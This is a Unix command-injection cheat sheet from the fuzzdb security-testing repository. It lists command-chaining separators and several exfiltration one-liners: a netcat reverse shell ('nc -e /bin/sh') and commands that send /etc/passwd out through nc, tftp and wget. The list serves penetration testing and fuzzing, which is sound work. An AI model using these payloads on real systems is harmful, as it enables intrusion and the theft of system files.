fuzzdb/attack/os-cmd-execution/docs/command-execution-cheatsheat-unix.txt
2015-09-11 19:39:11 -04:00

41 lines
417 B
Text

Executing Commands
Seperating Commands:
blah;blah2
PIPEZ:
blah ^ blah2
AND:
blah && blah2
OR:
FAIL || X
OR:
blah%0Dblah2%0Dblah3
Backtick:
`blah`
Background:
`blah & blah2`
Getting Files / Data
FTP:
Make a new text file, and echo and then redirect to FTP
NC:
nc -e /bin/sh
NC:
echo /etc/passwd | nc host port
TFTP:
echo put /etc/passwd | tftp host
WGET:
wget --post-file /etc/passwd